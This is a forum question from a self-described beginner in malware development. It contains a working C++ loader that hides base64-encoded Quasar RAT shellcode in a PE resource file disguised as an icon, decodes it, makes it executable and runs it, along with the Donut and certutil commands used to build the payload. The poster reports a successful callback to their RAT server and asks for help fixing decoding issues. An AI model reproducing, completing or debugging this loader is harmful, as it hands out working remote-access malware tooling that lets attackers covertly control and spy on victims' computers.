Raw Shellcode Injection (Quasar Rat)

Question

I am new to malware development and I am trying to create a program to inject raw shellcode into memory and embedding it in the Resource section of the PE.

Using Donut by Wover (https://github.com/TheWover/donut), I convert the executable Quasar RAT into a raw shellcode using this command donut.exe -i Client-built.exe -a x64 and subsequently encode it to base64 using certutil by this command: certutil -encode loader.bin loader.b64 in the windows command prompt.

main.cpp:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Wincrypt.h>
#pragma comment (lib, "Crypt32.lib")

#define SC_ICON 2583

int main() {


    HANDLE hthread;
    HRSRC shellcode = FindResourceW(0, MAKEINTRESOURCEW(SC_ICON), RT_RCDATA);
    HGLOBAL shellcode_handle = LoadResource(0, shellcode);
    LPVOID shellcode_payload = LockResource(shellcode_handle);
    DWORD shellcode_size = SizeofResource(0, shellcode);
    printf("[+] Allocating shellcode to memory...\n");
    LPVOID pAddress = VirtualAlloc(0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("[+] Shellcode base address: 0x%p\n", shellcode_payload);
    printf("[+] Allocated memory base address: 0x%p\n", pAddress);

    printf("[+] Press enter to decode base64 shellcode & copy shellcode to allocated memory\n");
    getchar();
    CryptStringToBinaryA((LPCSTR)shellcode_payload, shellcode_size, CRYPT_STRING_BASE64, (BYTE*)pAddress, &shellcode_size, 0, 0);

    printf("[+] Successfully copied shellcode to memory: 0x%p\n", pAddress);

    DWORD old_protection = 0;
    VirtualProtect(pAddress, shellcode_size, PAGE_EXECUTE_READ, &old_protection);
    hthread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)pAddress, 0, 0, 0);

    if (!hthread) {
        printf("[+] failed to start thread!");
    }
    
    DWORD pid = GetProcessIdOfThread(hthread);

    printf("[+] Process - PID: %d started !\n", pid);
    WaitForSingleObject(hthread, INFINITE);
}

rsrc.rc:

#define SC_ICON 2583
SC_ICON RCDATA "loader_b64.ico"

loader_b64.ico:

https://pastes.io/v8bhjy2kcc

Although I successfully managed to get a callback to my Quasar RAT server, some of the functions of the RAT don't seem to be working properly. I know it has something to do with the shellcode being decrypted from base64 but couldn't find a fix to it. Is there a better way to decrypt the base64 shellcode?